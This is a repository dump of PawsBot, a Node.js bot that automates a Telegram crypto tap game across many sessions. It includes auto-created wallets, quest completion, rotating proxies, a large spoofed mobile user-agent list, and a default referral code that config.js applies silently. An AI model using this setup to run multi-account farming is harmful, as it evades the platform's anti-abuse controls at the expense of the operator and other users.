├── .env-example
├── .github
└── image
│ └── hero.png
├── .gitignore
├── Dockerfile
├── INSTALL.bat
├── LICENSE
├── NOTICE
├── README.md
├── START.bat
├── assets.json
├── bot
├── config
│ ├── app.js
│ ├── config.js
│ ├── proxies.js
│ ├── proxies.txt
│ └── userAgents.js
├── core
│ ├── api.js
│ ├── header.js
│ ├── nonSessionTapper.js
│ ├── register.js
│ └── tapper.js
└── utils
│ ├── TldLogger.js
│ ├── _isArray.js
│ ├── assetsChecker.js
│ ├── banner.js
│ ├── devices.js
│ ├── helper.js
│ ├── logger.js
│ ├── luncher.js
│ ├── parser.js
│ ├── proxiesConvertor.js
│ └── sleep.js
├── docker-compose.yml
├── index.js
├── install.sh
├── package-lock.json
├── package.json
└── queryIds.json
/.env-example:
--------------------------------------------------------------------------------
1 | API_ID=
2 | API_HASH=
3 |
4 | DELAY_BETWEEN_STARTING_BOT=
5 |
6 | USE_PROXY_FROM_JS_FILE=
7 |
8 | WORD_PHRASE_LENGTH=
9 |
10 | AUTO_COMPLETE_QUESTS=
11 |
12 | USE_PROXY_FROM_TXT_FILE=
13 |
14 | DELAY_BETWEEN_QUEST=
15 |
16 | AUTO_CREATE_AND_CONNECT_WALLET=
17 |
18 | REFERRAL_CODE=
--------------------------------------------------------------------------------
/.github/image/hero.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Freddywhest/PawsBot/8877b8be688ed89ee5f5b82fdf092cc789320e0a/.github/image/hero.png
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | wallets/
2 | # Ignore the sessions folder
3 | sessions/
4 |
5 | # Ignore the dist folder
6 | dist/
7 |
8 | # Ignore the .env file
9 | .env
10 |
11 | # Ignore the node_modules folder
12 | node_modules/
13 |
14 | # Ignore the session_user_agents.json file
15 | session_user_agents.json
16 |
17 | simulate_device.json
18 |
19 | # Ignore the Push.bat
20 | Push.bat
21 |
22 | # Ignore all files ending with .session
23 | *.session
24 |
25 | cache/
26 | tmp/
--------------------------------------------------------------------------------
/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM node:18-alpine
2 |
3 | # Set the working directory
4 | WORKDIR /app
5 |
6 | # Copy package.json and package-lock.json (if available)
7 | COPY package*.json ./
8 |
9 | # Install dependencies
10 | RUN npm install
11 |
12 | # Copy the rest of the application code
13 | COPY . .
14 |
15 | # Command to run the application
16 | CMD ["node", "index.js"]
17 |
--------------------------------------------------------------------------------
/INSTALL.bat:
--------------------------------------------------------------------------------
1 | @echo off
2 | echo Installing dependencies...
3 | npm install
4 | echo Copying .env-example to .env...
5 | copy .env-example .env
6 | echo Please edit the .env file to add your API_ID and API_HASH.
7 | pause
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | Terms and Conditions for Copying, Distribution, and Modification
2 |
3 | 1. Definitions:
4 | - "Software": refers to this project and all associated files.
5 | - "You": refers to the individual or legal entity accessing and using the Software.
6 | - "Non-Commercial": means not intended for or directed towards commercial advantage or monetary compensation.
7 | 2. Grant of License:
8 | Subject to the terms and conditions of this license, the copyright holder grants You a worldwide, royalty-free, non-exclusive, perpetual license to use, copy, modify, and distribute the Software, provided that:
9 |
10 | 1. You do not sell the Software or any modified versions of it.
11 | 2. You do not use the Software or any modified versions of it for commercial purposes.
12 |
13 | 3. Redistribution:
14 | You may redistribute the Software in its original or modified form, provided that You:
15 |
16 | 1. Include a copy of this license with any copy of the Software You distribute.
17 | 2. Clearly state any modifications made to the original Software.
18 |
19 | 4. Derivative Works
20 | You are allowed to create derivative works of the Software, provided that:
21 |
22 | 1. Any derivative works are distributed under the same terms as this license.
23 | 2. You do not sell any derivative works or use them for commercial purposes.
24 |
25 | 5. Disclaimer of Warranty
26 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, AND NONINFRINGEMENT. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY CLAIM, DAMAGES, OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT, OR OTHERWISE, ARISING FROM, OUT OF, OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
27 |
28 | 6. Limitation of Liability
29 | IN NO EVENT WILL THE COPYRIGHT HOLDER BE LIABLE FOR ANY DAMAGES, INCLUDING WITHOUT LIMITATION, LOST PROFITS, LOST SAVINGS, OR OTHER INCIDENTAL OR CONSEQUENTIAL DAMAGES, ARISING OUT OF THE USE OR INABILITY TO USE THE SOFTWARE, EVEN IF THE COPYRIGHT HOLDER HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
30 |
31 | 7. Termination
32 | This license is effective until terminated. You may terminate it at any time by destroying all copies of the Software in your possession or control. This license will terminate immediately without notice from the copyright holder if You fail to comply with any provision of this license.
33 |
34 | 8. Miscellaneous
35 | If any provision of this license is held to be unenforceable, such provision shall be reformed only to the extent necessary to make it enforceable.
36 |
--------------------------------------------------------------------------------
/NOTICE:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Freddywhest/PawsBot/8877b8be688ed89ee5f5b82fdf092cc789320e0a/NOTICE
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | > [
](https://t.me/roddyfred)
2 |
3 | # Use Node.Js 18 or greater
4 |
5 | ## Functionality
6 |
7 | | Functional | Supported |
8 | | ------------------------------------------------------------- | :-------: |
9 | | Auto creating wallet and linking | ✅ |
10 | | Auto completing quests | ✅ |
11 | | Multithreading | ✅ |
12 | | Binding a proxy to a session | ✅ |
13 | | Auto-purchase of items if you have coins (multitap, attempts) | ✅ |
14 | | Binding a proxy to a session/query_id | ✅ |
15 | | Random sleep time between clicks | ✅ |
16 |
17 | ## [How to add query id](https://github.com/Freddywhest/RockyRabbitBot/blob/main/AddQueryId.md)
18 |
19 | ## [Settings](https://github.com/FreddyWhest/PawsBot/blob/main/.env-example)
20 |
21 | | Settings | Description |
22 | | ---------------------------------- | -------------------------------------------------------------------------- |
23 | | **API_ID / API_HASH** | Platform data from which to launch a Telegram session (stock - Android) |
24 | | **WORD_PHRASE_LENGTH** | The length of key phrase to generate for thr wallet (12 or 24) |
25 | | **AUTO_CREATE_AND_CONNECT_WALLET** | Whether the bot should auto create and connect wallet (True / False) |
26 | | **REFERRAL_CODE** | Referral code to use |
27 | | **AUTO_COMPLETE_QUESTS** | Whether the bot should complete quests (True / False) |
28 | | **DELAY_BETWEEN_QUEST** | Delay between quests in seconds (eg. [20, 30]) |
29 | | **DELAY_BETWEEN_STARTING_BOT** | Delay between starting in seconds (eg. [20, 30]) |
30 | | **USE_PROXY_FROM_JS_FILE** | Whether to use proxy from the `bot/config/proxies.js` file (True / False) |
31 | | **USE_PROXY_FROM_TXT_FILE** | Whether to use proxy from the `bot/config/proxies.txt` file (True / False) |
32 |
33 | ### More configurations [Click Here](/README-UPDATE.md)
34 |
35 | ## Installation
36 |
37 | You can download [**Repository**](https://github.com/FreddyWhest/PawsBot) by cloning it to your system and installing the necessary dependencies:
38 |
39 | ```shell
40 | ~ >>> git clone https://github.com/FreddyWhest/PawsBot.git
41 | ~ >>> cd PawsBot
42 |
43 | #Linux and MocOS
44 | ~/PawsBot >>> chmod +x check_node.sh
45 | ~/PawsBot >>> ./check_node.sh
46 |
47 | OR
48 |
49 | ~/PawsBot >>> npm install
50 | ~/PawsBot >>> cp .env-example .env
51 | ~/PawsBot >>> nano .env # Here you must specify your API_ID and API_HASH , the rest is taken by default
52 | ~/PawsBot >>> node index.js
53 |
54 | #Windows
55 | 1. Double click on INSTALL.bat in PawsBot directory to install the dependencies
56 | 2. Double click on START.bat in PawsBot directory to start the bot
57 |
58 | OR
59 |
60 | ~/PawsBot >>> npm install
61 | ~/PawsBot >>> cp .env-example .env
62 | ~/PawsBot >>> # Specify your API_ID and API_HASH, the rest is taken by default
63 | ~/PawsBot >>> node index.js
64 | ```
65 |
66 | Also for quick launch you can use arguments, for example:
67 |
68 | ```shell
69 | ~/PawsBot >>> node index.js --action=1
70 |
71 | OR
72 |
73 | ~/PawsBot >>> node index.js --action=2
74 |
75 | #1 - Create session
76 | #2 - Run clicker
77 | ```
78 |
--------------------------------------------------------------------------------
/START.bat:
--------------------------------------------------------------------------------
1 | @echo off
2 | echo Starting the bot...
3 | node index.js
4 | pause
--------------------------------------------------------------------------------
/assets.json:
--------------------------------------------------------------------------------
1 | {
2 | "mainUrl": "https://app.paws.community",
3 | "assetsUrl": ["/_next/static/chunks/pages/index-277389553f1b4ff7.js"]
4 | }
5 |
--------------------------------------------------------------------------------
/bot/config/app.js:
--------------------------------------------------------------------------------
1 | const app = {
2 | version: "1.0.1",
3 | apiUrl: "https://api.paws.community",
4 | peer: "PAWSOG_bot",
5 | bot: "PAWSOG_bot",
6 | webviewUrl: "https://app.paws.community/",
7 | origin: "https://app.paws.community",
8 | referer: "https://app.paws.community/",
9 | };
10 |
11 | module.exports = app;
12 |
--------------------------------------------------------------------------------
/bot/config/config.js:
--------------------------------------------------------------------------------
1 | const _isArray = require("../utils/_isArray");
2 |
3 | require("dotenv").config();
4 | let code = [];
5 | if (!process.env.REFERRAL_CODE) {
6 | code = ["UL3P8qnd"];
7 | } else {
8 | code = process.env.REFERRAL_CODE.split(",");
9 | }
10 | const settings = {
11 | API_ID:
12 | process.env.API_ID && /^\d+$/.test(process.env.API_ID)
13 | ? parseInt(process.env.API_ID)
14 | : process.env.API_ID && !/^\d+$/.test(process.env.API_ID)
15 | ? "N/A"
16 | : undefined,
17 | API_HASH: process.env.API_HASH || "",
18 |
19 | MAX_CONCURRENT_ACCOUNT:
20 | process.env.MAX_CONCURRENT_ACCOUNT &&
21 | /^\d+$/.test(process.env.MAX_CONCURRENT_ACCOUNT)
22 | ? parseInt(process.env.MAX_CONCURRENT_ACCOUNT)
23 | : 2,
24 |
25 | DELAY_BETWEEN_STARTING_BOT:
26 | process.env.DELAY_BETWEEN_STARTING_BOT &&
27 | _isArray(process.env.DELAY_BETWEEN_STARTING_BOT)
28 | ? JSON.parse(process.env.DELAY_BETWEEN_STARTING_BOT)
29 | : [15, 20],
30 |
31 | DELAY_BETWEEN_QUEST:
32 | process.env.DELAY_BETWEEN_QUEST && _isArray(process.env.DELAY_BETWEEN_QUEST)
33 | ? JSON.parse(process.env.DELAY_BETWEEN_QUEST)
34 | : [5, 10],
35 |
36 | USE_PROXY_FROM_TXT_FILE: process.env.USE_PROXY_FROM_TXT_FILE
37 | ? process.env.USE_PROXY_FROM_TXT_FILE.toLowerCase() === "true"
38 | : false,
39 |
40 | USE_PROXY_FROM_JS_FILE: process.env.USE_PROXY_FROM_JS_FILE
41 | ? process.env.USE_PROXY_FROM_JS_FILE.toLowerCase() === "true"
42 | : false,
43 |
44 | AUTO_CREATE_AND_CONNECT_WALLET: process.env.AUTO_CREATE_AND_CONNECT_WALLET
45 | ? process.env.AUTO_CREATE_AND_CONNECT_WALLET.toLowerCase() === "true"
46 | : true,
47 |
48 | AUTO_COMPLETE_QUESTS: process.env.AUTO_COMPLETE_QUESTS
49 | ? process.env.AUTO_COMPLETE_QUESTS.toLowerCase() === "true"
50 | : true,
51 |
52 | REFERRAL_CODE: code,
53 |
54 | CAN_CREATE_SESSION: false,
55 | };
56 |
57 | module.exports = settings;
58 |
--------------------------------------------------------------------------------
/bot/config/proxies.js:
--------------------------------------------------------------------------------
1 | //Currently only http and https proxies are supported.
2 | //HTTP proxies are not supported as they required a completely different connection type.
3 |
4 | const proxies = [
5 | // EXAMPLE:
6 | {
7 | ip: "123.456.789.123", // Proxy host (IP or hostname)
8 | port: 1234, // Proxy port
9 | protocol: "http", // Proxy protocol [http/https].
10 | username: "username", // If use Socks with auth then you need to provide a username.
11 | password: "password", // If use Socks with auth then you need to provide a password.
12 | },
13 | {
14 | ip: "123.456.789.123", // Proxy host (IP or hostname)
15 | port: 1234, // Proxy port
16 | protocol: "http", // Proxy protocol [http/https].
17 | username: "username", // If use Socks with auth then you need to provide a username.
18 | password: "password", // If use Socks with auth then you need to provide a password.
19 | },
20 | {
21 | ip: "123.456.789.123", // Proxy host (IP or hostname)
22 | port: 1234, // Proxy port
23 | protocol: "http", // Proxy protocol [http/https].
24 | username: "username", // If use Socks with auth then you need to provide a username.
25 | password: "password", // If use Socks with auth then you need to provide a password.
26 | },
27 | ];
28 |
29 | module.exports = proxies;
30 |
--------------------------------------------------------------------------------
/bot/config/proxies.txt:
--------------------------------------------------------------------------------
1 | type://user:pass@ip:port
2 | type://user:pass:ip:port
3 | type://ip:port:user:pass
4 | type://ip:port@user:pass
5 | type://ip:port
--------------------------------------------------------------------------------
/bot/config/userAgents.js:
--------------------------------------------------------------------------------
1 | const user_agents = [
2 | //Samsung Galaxy S22 5G
3 | "Mozilla/5.0 (Linux; Android 13; SM-S901B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36",
4 | "Mozilla/5.0 (Linux; Android 13; SM-S901U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36",
5 |
6 | //Samsung Galaxy S22 Ultra 5G
7 | "Mozilla/5.0 (Linux; Android 13; SM-S908B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36",
8 | "Mozilla/5.0 (Linux; Android 13; SM-S908U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Mobile Safari/537.36",
9 |
10 | //Samsung Galaxy S21 5G
11 | "Mozilla/5.0 (Linux; Android 13; SM-G991B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36",
12 | "Mozilla/5.0 (Linux; Android 13; SM-G991U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36",
13 |
14 | //Samsung Galaxy S21 Ultra 5G
15 | "Mozilla/5.0 (Linux; Android 13; SM-G998B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36",
16 | "Mozilla/5.0 (Linux; Android 13; SM-G998U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36",
17 |
18 | //Samsung Galaxy A53 5G
19 | "Mozilla/5.0 (Linux; Android 13; SM-A536B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36",
20 | "Mozilla/5.0 (Linux; Android 13; SM-A536U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36",
21 |
22 | //Samsung Galaxy A51
23 | "Mozilla/5.0 (Linux; Android 13; SM-A515F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36",
24 | "Mozilla/5.0 (Linux; Android 13; SM-A515U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36",
25 |
26 | //Samsung Galaxy S10
27 | "Mozilla/5.0 (Linux; Android 12; SM-G973F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36",
28 | "Mozilla/5.0 (Linux; Android 12; SM-G973U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36",
29 |
30 | //Google Pixel 6
31 | "Mozilla/5.0 (Linux; Android 13; Pixel 6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36",
32 |
33 | //Google Pixel 6a
34 | "Mozilla/5.0 (Linux; Android 13; Pixel 6a) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36",
35 |
36 | //Google Pixel 6 Pro
37 | "Mozilla/5.0 (Linux; Android 13; Pixel 6 Pro) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36",
38 |
39 | //Google Pixel 7
40 | "Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36",
41 |
42 | //Google Pixel 7 Pro
43 | "Mozilla/5.0 (Linux; Android 13; Pixel 7 Pro) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36",
44 |
45 | //Motorola Moto G Pure
46 | "Mozilla/5.0 (Linux; Android 12; moto g pure) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36",
47 |
48 | //Motorola Moto G Stylus 5G
49 | "Mozilla/5.0 (Linux; Android 12; moto g stylus 5G) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36",
50 |
51 | //Motorola Moto G Stylus 5G (2022)
52 | "Mozilla/5.0 (Linux; Android 12; moto g stylus 5G (2022)) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36",
53 |
54 | //Motorola Moto G 5G (2022)
55 | "Mozilla/5.0 (Linux; Android 12; moto g 5G (2022)) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36",
56 |
57 | //Motorola Moto G Power (2022)
58 | "Mozilla/5.0 (Linux; Android 12; moto g power (2022)) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36",
59 |
60 | //Motorola Moto G Power (2021)
61 | "Mozilla/5.0 (Linux; Android 11; moto g power (2021)) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36",
62 |
63 | //Redmi Note 9 Pro
64 | "Mozilla/5.0 (Linux; Android 12; Redmi Note 9 Pro) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36",
65 |
66 | //Redmi Note 8 Pro
67 | "Mozilla/5.0 (Linux; Android 11; Redmi Note 8 Pro) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36",
68 |
69 | //Huawei P30 Pro
70 | "Mozilla/5.0 (Linux; Android 10; VOG-L29) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36",
71 |
72 | //Huawei P30 lite
73 | "Mozilla/5.0 (Linux; Android 10; MAR-LX1A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36",
74 |
75 | //Redmi Note 10 Pro
76 | "Mozilla/5.0 (Linux; Android 13; M2101K6G) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36",
77 |
78 | //Xiaomi Poco X3 Pro
79 | "Mozilla/5.0 (Linux; Android 12; M2102J20SG) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36",
80 |
81 | //Redmi Note 11 Pro 5G
82 | "Mozilla/5.0 (Linux; Android 12; 2201116SG) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36",
83 |
84 | //OnePlus Nord N200 5G
85 | "Mozilla/5.0 (Linux; Android 12; DE2118) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36",
86 |
87 | //Samsung Galaxy S23 Ultra 5G
88 | "Mozilla/5.0 (Linux; Android 13; SM-S918B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36",
89 | "Mozilla/5.0 (Linux; Android 13; SM-S918U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36",
90 |
91 | //Samsung Galaxy S23 5G
92 | "Mozilla/5.0 (Linux; Android 13; SM-S911B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36",
93 | "Mozilla/5.0 (Linux; Android 13; SM-S911U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36",
94 |
95 | //Samsung Galaxy Note 20 Ultra 5G
96 | "Mozilla/5.0 (Linux; Android 13; SM-N986B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36",
97 | "Mozilla/5.0 (Linux; Android 13; SM-N986U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36",
98 |
99 | //Samsung Galaxy Note 20 5G
100 | "Mozilla/5.0 (Linux; Android 13; SM-N981B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36",
101 | "Mozilla/5.0 (Linux; Android 13; SM-N981U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36",
102 |
103 | //OnePlus 9 Pro
104 | "Mozilla/5.0 (Linux; Android 13; LE2121) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36",
105 | "Mozilla/5.0 (Linux; Android 13; LE2125) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36",
106 |
107 | //OnePlus 9
108 | "Mozilla/5.0 (Linux; Android 13; LE2113) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36",
109 | "Mozilla/5.0 (Linux; Android 13; LE2115) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36",
110 |
111 | //OnePlus 8T
112 | "Mozilla/5.0 (Linux; Android 13; KB2001) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36",
113 | "Mozilla/5.0 (Linux; Android 13; KB2005) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36",
114 |
115 | //Huawei P40 Pro
116 | "Mozilla/5.0 (Linux; Android 10; ELS-NX9) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36",
117 | "Mozilla/5.0 (Linux; Android 10; ELS-N04) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36",
118 |
119 | //Huawei P40
120 | "Mozilla/5.0 (Linux; Android 10; ANA-NX9) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36",
121 | "Mozilla/5.0 (Linux; Android 10; ANA-N29) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36",
122 |
123 | //Xiaomi Mi 11
124 | "Mozilla/5.0 (Linux; Android 13; M2011K2C) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36",
125 | "Mozilla/5.0 (Linux; Android 13; M2011K2G) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36",
126 |
127 | //Xiaomi Mi 11 Ultra
128 | "Mozilla/5.0 (Linux; Android 13; M2102K1C) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36",
129 | "Mozilla/5.0 (Linux; Android 13; M2102K1G) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36",
130 |
131 | //Xiaomi Mi 11i
132 | "Mozilla/5.0 (Linux; Android 13; M2012K11G) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36",
133 |
134 | //Oppo Find X5 Pro
135 | "Mozilla/5.0 (Linux; Android 13; CPH2305) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36",
136 | "Mozilla/5.0 (Linux; Android 13; CPH2307) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36",
137 |
138 | //Oppo Find X3 Pro
139 | "Mozilla/5.0 (Linux; Android 13; CPH2173) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36",
140 |
141 | //Oppo Reno 6 Pro 5G
142 | "Mozilla/5.0 (Linux; Android 13; CPH2247) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36",
143 |
144 | //Vivo X70 Pro+
145 | "Mozilla/5.0 (Linux; Android 13; V2114) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36",
146 |
147 | //Vivo X60 Pro+
148 | "Mozilla/5.0 (Linux; Android 13; V2056A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36",
149 |
150 | //LG Velvet 5G
151 | "Mozilla/5.0 (Linux; Android 13; LM-G900N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36",
152 |
153 | //Sony Xperia 1 III
154 | "Mozilla/5.0 (Linux; Android 13; XQ-BC72) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36",
155 |
156 | //Sony Xperia 5 II
157 | "Mozilla/5.0 (Linux; Android 13; XQ-AS72) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36",
158 |
159 | //Nokia 8.3 5G
160 | "Mozilla/5.0 (Linux; Android 13; Nokia 8.3 5G) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36",
161 |
162 | //Nokia 7.2
163 | "Mozilla/5.0 (Linux; Android 12; Nokia 7.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36",
164 |
165 | //Realme GT 2 Pro
166 | "Mozilla/5.0 (Linux; Android 13; RMX3301) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36",
167 |
168 | //Realme X7 Pro
169 | "Mozilla/5.0 (Linux; Android 13; RMX2121) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36",
170 |
171 | //Asus ROG Phone 5
172 | "Mozilla/5.0 (Linux; Android 13; ASUS_I005DA) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36",
173 |
174 | //Asus Zenfone 8
175 | "Mozilla/5.0 (Linux; Android 13; ASUS_I006DA) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36",
176 |
177 | //Google Pixel 7 Pro
178 | "Mozilla/5.0 (Linux; Android 13; Pixel 7 Pro) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36",
179 |
180 | //Google Pixel 7
181 | "Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36",
182 |
183 | //Google Pixel 6 Pro
184 | "Mozilla/5.0 (Linux; Android 13; Pixel 6 Pro) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36",
185 |
186 | //Google Pixel 6
187 | "Mozilla/5.0 (Linux; Android 13; Pixel 6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36",
188 |
189 | //Motorola Moto G Power (2022)
190 | "Mozilla/5.0 (Linux; Android 12; moto g power (2022)) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36",
191 |
192 | //Motorola Moto G Stylus (2022)
193 | "Mozilla/5.0 (Linux; Android 12; moto g stylus (2022)) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36",
194 |
195 | //ZTE Axon 30 Ultra
196 | "Mozilla/5.0 (Linux; Android 13; A2022U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36",
197 |
198 | //ZTE Nubia Red Magic 7 Pro
199 | "Mozilla/5.0 (Linux; Android 13; NX709J) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36",
200 |
201 | //Samsung Galaxy Tab
202 | "Mozilla/5.0 (Linux; Android 12; SM-T970) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.104 Safari/537.36",
203 | "Mozilla/5.0 (Linux; Android 11; SM-T860) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.104 Safari/537.36",
204 | "Mozilla/5.0 (Linux; Android 10; SM-T510) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.104 Safari/537.36",
205 | "Mozilla/5.0 (Linux; Android 9; SM-T720) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.104 Safari/537.36",
206 | "Mozilla/5.0 (Linux; Android 8.1.0; SM-T580) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.104 Safari/537.36",
207 | ];
208 |
209 | module.exports = user_agents;
210 |
--------------------------------------------------------------------------------
/bot/core/api.js:
--------------------------------------------------------------------------------
1 | const app = require("../config/app");
2 | const logger = require("../utils/logger");
3 | const sleep = require("../utils/sleep");
4 | const _ = require("lodash");
5 |
6 | class ApiRequest {
7 | constructor(session_name, bot_name) {
8 | this.session_name = session_name;
9 | this.bot_name = bot_name;
10 | }
11 |
12 | async get_user_data(http_client) {
13 | try {
14 | const response = await http_client.get(`${app.apiUrl}/v1/user`);
15 | return response.data;
16 | } catch (error) {
17 | console.log(error);
18 | if (error?.response?.status > 499) {
19 | logger.error(
20 | `[${this.bot_name}] | ${this.session_name} | Server Error while getting user data:: ${error.message}`
21 | );
